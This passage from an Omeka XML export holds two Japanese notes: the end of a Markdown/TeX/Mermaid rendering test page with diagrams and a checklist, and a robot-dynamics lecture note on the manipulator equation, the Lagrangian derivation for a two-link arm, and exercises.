&lt;div&gt;&lt;span&gt;    Animal &amp;lt;|-- Cat&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト7: Mermaid - 状態図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;stateDiagram-v2&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    [*] --&amp;gt; 待機&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    待機 --&amp;gt; 処理中: 開始&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    処理中 --&amp;gt; 完了: 成功&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    処理中 --&amp;gt; エラー: 失敗&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    完了 --&amp;gt; [*]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    エラー --&amp;gt; 待機: リトライ&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト8: Mermaid - ER図&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;erDiagram&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    CUSTOMER ||--o{ ORDER : places&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    ORDER ||--|{ LINE-ITEM : contains&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    PRODUCT ||--|{ LINE-ITEM : "ordered in"&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    CUSTOMER {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        string name&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        string email&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    ORDER {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        int orderNumber&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        date orderDate&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    PRODUCT {&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        string productName&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;        float price&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    }&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト14: 統合テスト - Markdown + TeX&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 数式を含むMarkdown&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ニュートンの第二法則は &lt;/span&gt;&lt;span&gt;**$&lt;/span&gt;&lt;span&gt;F=ma$&lt;/span&gt;&lt;span&gt;**&lt;/span&gt;&lt;span&gt; で表されます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;エネルギー保存則:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;E = &lt;/span&gt;&lt;span&gt;\&lt;/span&gt;&lt;span&gt;frac&lt;/span&gt;&lt;span&gt;{&lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt;}{&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;}mv^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; + mgh&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;$$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;ここで、$&lt;/span&gt;&lt;span&gt;m$&lt;/span&gt;&lt;span&gt; は質量、$&lt;/span&gt;&lt;span&gt;v$&lt;/span&gt;&lt;span&gt; は速度、$&lt;/span&gt;&lt;span&gt;g$&lt;/span&gt;&lt;span&gt; は重力加速度、$&lt;/span&gt;&lt;span&gt;h$&lt;/span&gt;&lt;span&gt; は高さです。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト15: 統合テスト - Markdown + Mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 処理フローの説明&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;以下のフローチャートは、システムの処理フローを示しています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph LR&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[入力] --&amp;gt; B{検証}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|OK| C[処理]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt;|NG| D[エラー]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt; E[出力]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    D --&amp;gt; F[ログ]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このフローは &lt;/span&gt;&lt;span&gt;**3つのステップ**&lt;/span&gt;&lt;span&gt; で構成されています。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## テスト16: 統合テスト - すべての機能&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 完全統合テスト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;このセクションでは、&lt;/span&gt;&lt;span&gt;**Markdown**&lt;/span&gt;&lt;span&gt;、$&lt;/span&gt;&lt;span&gt;TeX$&lt;/span&gt;&lt;span&gt;、Mermaidをすべて組み合わせます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;#### 数式と図の組み合わせ&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;物理法則: $&lt;/span&gt;&lt;span&gt;E = mc^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;処理フロー:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```mermaid&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;graph TD&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    A[開始] --&amp;gt; B[計算]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    B --&amp;gt; C{結果確認}&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|OK| D[終了]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;    C --&amp;gt;|NG| B&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;```&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;これで &lt;/span&gt;&lt;span&gt;**すべての機能**&lt;/span&gt;&lt;span&gt; が正しく動作することを確認できます。&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;---&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;## 確認項目チェックリスト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### Markdown&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownの見出し（h1-h6）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownの太字・斜体・太字斜体が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownの段落が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownのリスト（順序なし・順序付き、ネストを含む）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownのコード（インライン・ブロック）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownのリンクが正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownの引用が正しく表示される（複数行・段落分けを含む）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownのテーブルが正しく表示される（配置指定：左・中央・右揃えを含む）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdownの水平線（hr）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### TeX (MathJax)&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの行内数式が正しく表示される（$&lt;/span&gt;&lt;span&gt;E=mc^&lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt;$&lt;/span&gt;&lt;span&gt;、二次方程式、オイラーの公式、ベクトルの内積など）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXのブロック数式（単一行）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXのブロック数式（複数行）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの行列（pmatrix）が正しく表示される（複数行列の積を含む）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの総和記号（\sum）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの積分記号（\int）が正しく表示される（定積分・不定積分を含む）&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの偏微分方程式が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXのベイズの定理が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの分数（\frac）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの根号（\sqrt）が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; TeXの上付き・下付き文字が正しく表示される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### Mermaid&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Mermaidのフローチャートが描画される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Mermaidのシーケンス図が描画される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Mermaidのガントチャートが描画される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Mermaidのクラス図が描画される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Mermaidの状態図が描画される&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; MermaidのER図が描画される&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;### 統合テスト&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdown + TeXの組み合わせが正しく動作する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; Markdown + Mermaidの組み合わせが正しく動作する&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;&lt;span&gt;-&lt;/span&gt;&lt;span&gt; すべての機能の組み合わせが正しく動作する&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1910">
                <text>Markdown / TeX / Mermaid / TEST</text>
              </elementText>
            </elementTextContainer>
          </element>
        </elementContainer>
      </elementSet>
    </elementSetContainer>
  </item>
  <item itemId="122" public="1" featured="0">
    <collection collectionId="57">
      <elementSetContainer>
        <elementSet elementSetId="1">
          <name>Dublin Core</name>
          <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
          <elementContainer>
            <element elementId="50">
              <name>Title</name>
              <description>A name given to the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1644">
                  <text>note</text>
                </elementText>
              </elementTextContainer>
            </element>
            <element elementId="41">
              <name>Description</name>
              <description>An account of the resource</description>
              <elementTextContainer>
                <elementText elementTextId="1645">
                  <text>日常のノート</text>
                </elementText>
              </elementTextContainer>
            </element>
          </elementContainer>
        </elementSet>
      </elementSetContainer>
    </collection>
    <itemType itemTypeId="47">
      <name>note</name>
      <description>日常のノートの記録</description>
      <elementContainer>
        <element elementId="262">
          <name>note</name>
          <description>テキストの自由記述</description>
          <elementTextContainer>
            <elementText elementTextId="1909">
              <text>&lt;h1&gt;動力学&lt;/h1&gt;
&lt;h2&gt;この資料で学ぶこと&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;力を加えたときに物体がどのように動くのかを式と図で理解する。&lt;/li&gt;
&lt;li&gt;まっすぐ進む運動（並進運動）と回転する運動（回転運動）の基本式を学ぶ。&lt;/li&gt;
&lt;li&gt;ロボットアームのように関節がたくさんある仕組みを、基本式の組み合わせで説明できることを知る。&lt;/li&gt;
&lt;li&gt;慣性力、遠心力、コリオリ力といった見かけの力がどのように現れるかをイメージする。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;並進運動：押したり引いたりするときの式&lt;/h2&gt;
&lt;p&gt;並進運動では、ニュートンの運動方程式を使う。&lt;/p&gt;
&lt;p&gt;F=mx¨&lt;/p&gt;
&lt;h3&gt;記号の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;F（エフ）は外力。人が押す力やモーターが引っ張る力など。&lt;/li&gt;
&lt;li&gt;m（エム）は質量。物体がどれだけ重く、動きづらいかを表す量。&lt;/li&gt;
&lt;li&gt;x¨（エックスに二つの点）は加速度。速度がどれくらいの勢いで変化しているかを示す。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;わかりやすいポイント&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;同じ力をかけても、軽い物体はすぐに加速し、重い物体はゆっくり加速する。&lt;/li&gt;
&lt;li&gt;動いている物体はそのままの状態を保とうとする。この性質を慣性という。&lt;/li&gt;
&lt;li&gt;慣性によって、走っている車は急に止まらないし、急に走り出しもしない。&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;  図１　加速する車のイメージ
  ┌─────────┐
  │    ■ （車体） │
  └─────────┘
  ←←←   力（駆動力）
  速度: v₀ &amp;lt; v₁ &amp;lt; v₂
&lt;/pre&gt;
&lt;pre&gt;  図２　減速する車のイメージ
  ┌─────────┐
  │    ■ （車体） │
  └─────────┘
  ←←←   速度: v₂ &amp;gt; v₁ &amp;gt; v₀
      → ブレーキ力（摩擦制動）
&lt;/pre&gt;
&lt;pre&gt;  図３　質量が小さい物体
  ┌────┐
  │  □  │
  └────┘
  ←→  小さい力でも加減速が簡単
  質量: m_small
  加速度: a = F / m_small → 大きい
&lt;/pre&gt;
&lt;pre&gt;  図４　質量が大きい物体
  ┌────────┐
  │     □      │
  └────────┘
  ←→  同じ力でも加減速がゆっくり
  質量: m_large
  加速度: a = F / m_large → 小さい
&lt;/pre&gt;

&lt;h2&gt;回転運動：回すときの式&lt;/h2&gt;
&lt;p&gt;回転運動では、次の式を使う。&lt;/p&gt;
&lt;p&gt;τ=Jθ¨&lt;/p&gt;
&lt;h3&gt;記号の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;τ（タウ）はトルク。レバーやハンドルを回すときの「回す力」。&lt;/li&gt;
&lt;li&gt;J（ジェイ）は慣性モーメント。回りにくさの大きさで、重い部分が外側にあるほど大きくなる。&lt;/li&gt;
&lt;li&gt;θ¨（シータに二つの点）は角加速度。回転する速さがどれくらいの勢いで変化するかを示す。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;わかりやすいポイント&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;同じトルクをかけても、慣性モーメントが小さいほどくるくる回りやすい。&lt;/li&gt;
&lt;li&gt;自転車のホイールやコマが急に止まらないのは、慣性モーメントが大きいから。&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;ロボットアーム全体の式&lt;/h2&gt;
&lt;p&gt;関節がたくさんあるロボットアームでは、次のようにすべての力をまとめて表す。&lt;/p&gt;
&lt;p&gt;M(Θ)⁢Θ¨+h(Θ,Θ˙)+DΘ˙+f(Θ˙)+g(Θ)=τ&lt;/p&gt;
&lt;h3&gt;記号の意味&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Θ（シータ）は各関節の角度をまとめたベクトル。[Θ1,Θ2,Θ3,…,Θn] のように書く。&lt;/li&gt;
&lt;li&gt;Θ˙ は関節の角速度。どれくらいの速さで回っているか。&lt;/li&gt;
&lt;li&gt;Θ¨ は関節の角加速度。角速度がどれくらいの勢いで変化しているか。&lt;/li&gt;
&lt;li&gt;τ はモーターが出すトルクをまとめたもの。&lt;/li&gt;
&lt;li&gt;M(Θ) は慣性行列。ロボットの姿勢によって変わり、回りやすさをまとめて表す行列。&lt;/li&gt;
&lt;li&gt;h(Θ,Θ˙) は遠心力やコリオリ力といった見かけの力。&lt;/li&gt;
&lt;li&gt;DΘ˙ は粘性摩擦による抵抗。速度に比例する抵抗力。&lt;/li&gt;
&lt;li&gt;f(Θ˙) は動摩擦による抵抗。関節同士がこすれることで生じる。&lt;/li&gt;
&lt;li&gt;g(Θ) は重力による力。アームが下向きに引っ張られる。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;左辺に並んでいる力を全部足したものが、右辺のトルク τ になる。つまり「各関節の角度や速さが決まれば、必要なトルクを計算できる」ということを示している。&lt;/p&gt;

&lt;h2&gt;ベクトルと慣性行列のイメージ&lt;/h2&gt;
&lt;p&gt;関節が多いと、角度や速度を一つずつ書くのは大変なので、ベクトルを使ってまとめる。&lt;/p&gt;
&lt;p&gt;Θ¨=[Θ1¨,Θ2¨,Θ3¨,…,Θn¨]&lt;/p&gt;
&lt;p&gt;慣性行列の例として、二自由度のアームを考えると次のようになる。&lt;/p&gt;
&lt;p&gt;M(Θ)=I11I12I21I22&lt;/p&gt;
&lt;p&gt;I11=α+2βC2&lt;br /&gt;I22=β&lt;br /&gt;I12=I21=β+γC2&lt;/p&gt;
&lt;p&gt;ここで α（アルファ）、β（ベータ）、γ（ガンマ）は定数。C2 は cos⁡Θ2、S1 は sin⁡Θ1、S2 は sin⁡Θ2 を短く書いたもの。 Θ2 の値が変わると cos⁡Θ2 の値が変わり、慣性行列 M も姿勢によって変化する。&lt;/p&gt;

&lt;h2&gt;遠心力とコリオリ力のイメージ&lt;/h2&gt;
&lt;p&gt;回転している座標系で観測すると、遠心力とコリオリ力という見かけの力が現れる。これらは h(Θ, Θ') に含まれている。&lt;/p&gt;
&lt;pre&gt;  図５　回転系における遠心力
        回転軸
           │
           ●───→ 角速度 ω
           │ \
           │  \  質点 m
           │   ●
             ↑ F_c = m r ω² （遠心力）
&lt;/pre&gt;
&lt;pre&gt;  図６　フーコーの振り子とコリオリ力
        地球自転軸
           ↑
           │
     ↺ 地球の自転 Ω
           │
           ●─── 振り子の支持点
           │\
           │ \
           │  ● 振り子の質点
           │   \
           │    ↖ 速度 v
           │
      コリオリ力 F_cor = 2m(v × Ω)
&lt;/pre&gt;
&lt;p&gt;フーコーの振り子では、地球が自転しているために振り子の揺れる向きがゆっくり回転して見える。これがコリオリ力の働きである。遠心力とコリオリ力を正しく考慮すると、h(Θ, Θ') を正確に計算できるようになる。&lt;/p&gt;
&lt;h2&gt;モデル化と方程式の導出の流れ&lt;/h2&gt;
&lt;p&gt;ロボットアームの運動方程式は、次のステップで導き出されることが多い。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;モデルを決める&lt;/strong&gt;&lt;br /&gt;各リンク（腕の一本一本）を剛体として扱い、軸や関節をどのように配置するか決める。&lt;br /&gt;一般化座標として関節角度 Θ = [Θ₁, Θ₂, …, Θₙ] を用いる。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;エネルギーを求める&lt;/strong&gt;&lt;br /&gt;各リンクの運動エネルギー T（Translation + Rotation）と、重力による位置エネルギー V を計算する。&lt;br /&gt;T は各リンクの質量と速度、慣性モーメントと角速度から求める。&lt;br /&gt;V は各リンクの重心の高さから求める。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ラグランジアンを作る&lt;/strong&gt;&lt;br /&gt;L=T-V という形でラグランジアン L を作成する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ラグランジュの方程式を適用する&lt;/strong&gt;&lt;br /&gt;各関節角 Θi について、以下の式を計算する。&lt;br /&gt;ddt(∂L∂Θi˙)-∂L∂Θi=τi-τi,f&lt;br /&gt;左辺から M(Θ)Θ¨ や h(Θ,Θ˙) が現れる。右辺にはモーターが発生させるトルク τi が入る。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;抵抗力を追加する&lt;/strong&gt;&lt;br /&gt;粘性摩擦がある場合は、速度に比例する抵抗トルク DΘ˙ を加える。&lt;br /&gt;動摩擦（クーロン摩擦）は、速度の符号に依存する一定値としてモデル化する。&lt;br /&gt;モーターや減速機に特有の抵抗トルクがある場合も、必要に応じて追加する。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;重力項を整理する&lt;/strong&gt;&lt;br /&gt;位置エネルギー V から導かれる ∂∂ΘV を g(Θ) としてまとめる。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;これらの手順を踏むことで、エネルギー保存の考え方に基づきながら、実際のロボットで必要となる抵抗項も含めた運動方程式を得ることができる。&lt;/p&gt;
&lt;h2&gt;2リンクアームの簡単な計算例&lt;/h2&gt;
&lt;p&gt;ここでは、平面内で動く2リンクアーム（リンク長 l1, l2、質量 m1, m2）を使って、ラグランジアンの作り方を一通り確認する。&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;モデルの前提&lt;/strong&gt;&lt;br /&gt;各リンクは質量が均一に分布した細い棒とする。&lt;br /&gt;各リンクの重心はリンクの中央にある。&lt;br /&gt;重力は下向きに一定（加速度 g）。&lt;br /&gt;関節角を Θ=[Θ1,Θ2] とする。 Θ1 は第1リンクの角度、Θ2 は第2リンクの角度。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;位置と速度&lt;/strong&gt;&lt;br /&gt;第1リンク重心の位置: x1=l12cos⁡Θ1、 y1=l12sin⁡Θ1&lt;br /&gt;第2リンク重心の位置: x2=l1cos⁡Θ1+l22cos⁡(Θ1+Θ2)&lt;br /&gt;y2=l1sin⁡Θ1+l22sin⁡(Θ1+Θ2)&lt;br /&gt;各重心速度は、上式を Θ1, Θ2 で微分して求める。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;運動エネルギー T&lt;/strong&gt;&lt;br /&gt;並進運動エネルギー: Ttrans=12m1(x1˙2+y1˙2)+12m2(x2˙2+y2˙2)&lt;br /&gt;回転運動エネルギー: Trot=12I1Θ1˙2+12I2Θ1˙+Θ2˙2&lt;br /&gt;ここで I1, I2 は各リンクの重心まわりの慣性モーメント（棒なら I=112ml2）&lt;br /&gt;全体の運動エネルギー: T=Ttrans+Trot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;位置エネルギー V&lt;/strong&gt;&lt;br /&gt;V=m1gy1+m2gy2&lt;br /&gt;y1, y2 はステップ2で求めた重心の高さ。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ラグランジアン L&lt;/strong&gt;&lt;br /&gt;L=T-V&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ラグランジュの方程式&lt;/strong&gt;&lt;br /&gt;Θ1, Θ2 について dd⁢t(∂∂Θi˙L)-∂∂ΘiL=τi を計算すると、慣性行列 M(Θ)、コリオリ・遠心項 h(Θ,Θ˙)、重力項 g(Θ) が現れる。&lt;br /&gt;粘性摩擦や動摩擦をモデル化したい場合は、τi に -DiΘi˙ や -τi,coulomb を追加すれば良い。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;この手順で、具体的なパラメータ（長さ、質量、慣性モーメントなど）を代入して計算することで、実際に M(Θ), h(Θ, Θ'), g(Θ) を求める練習ができる。&lt;/p&gt;
&lt;h2&gt;演習課題&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;上記の2リンクアームモデルで、l1=l2=1 m、m1=m2=1 kg、g=9.81 m/s2 としたときの慣性行列 M(Θ) を計算しよう。&lt;/li&gt;
&lt;li&gt;同じ設定で、コリオリ・遠心項 h(Θ,Θ˙) の具体的な式を求めよう。&lt;/li&gt;
&lt;li&gt;粘性摩擦係数 d1=d2=0.1 N·m·s/rad を仮定し、DΘ˙ の項がどのようなベクトルになるかを示そう。&lt;/li&gt;
&lt;li&gt;重力項 g(Θ) のトルクベクトルを求め、ある姿勢（例: Θ1=π4、Θ2=π6）で数値を計算してみよう。&lt;/li&gt;
&lt;li&gt;追加課題として、3リンクアームに拡張するにはどの情報が必要かを整理し、必要な変数や式を列挙してみよう。&lt;/li&gt;
&lt;/ol&gt;</text>
            </elementText>
          </elementTextContainer>
        </element>
      </elementContainer>
    </itemType>
    <elementSetContainer>
      <elementSet elementSetId="1">
        <name>Dublin Core</name>
        <description>The Dublin Core metadata element set is common to all Omeka records, including items, files, and collections. For more information see, http://dublincore.org/documents/dces/.</description>
        <elementContainer>
          <element elementId="50">
            <name>Title</name>
            <description>A name given to the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1905">
                <text>ロボット工学８</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="39">
            <name>Creator</name>
            <description>An entity primarily responsible for making the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1906">
                <text>unjuno</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="40">
            <name>Date</name>
            <description>A point or period of time associated with an event in the lifecycle of the resource</description>
            <elementTextContainer>
              <elementText elementTextId="1907">
                <text>2025-11-11</text>
              </elementText>
            </elementTextContainer>
          </element>
          <element elementId="47">
            <name>Rights</name>
